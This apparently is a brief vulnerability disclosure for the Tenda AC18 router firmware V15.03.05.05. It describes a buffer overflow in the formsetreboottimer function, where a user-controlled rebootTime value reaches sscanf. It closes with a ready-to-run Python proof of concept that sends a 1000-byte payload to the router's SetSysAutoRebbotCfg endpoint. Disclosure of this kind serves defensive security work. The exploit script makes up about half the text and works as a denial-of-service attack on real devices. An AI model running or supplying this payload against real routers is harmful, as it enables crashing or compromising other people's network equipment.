V15.03.05.05
The Tenda AC18 V15.03.05.05 firmware has a buffer overflow vulnerability in the formsetreboottimer
function. The s
variable receives the rebootTime
parameter from a POST request and is later passed to the sscanf
function. However, since the Since user can control the input of rebootTime
, the statemeant sscanf(s, "%d:%d", &v7, &v6);
can cause a buffer overflow.
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/SetSysAutoRebbotCfg'
payload = b'a' * 1000
data = {
'rebootTime':payload
}
requests.post(url, data=data)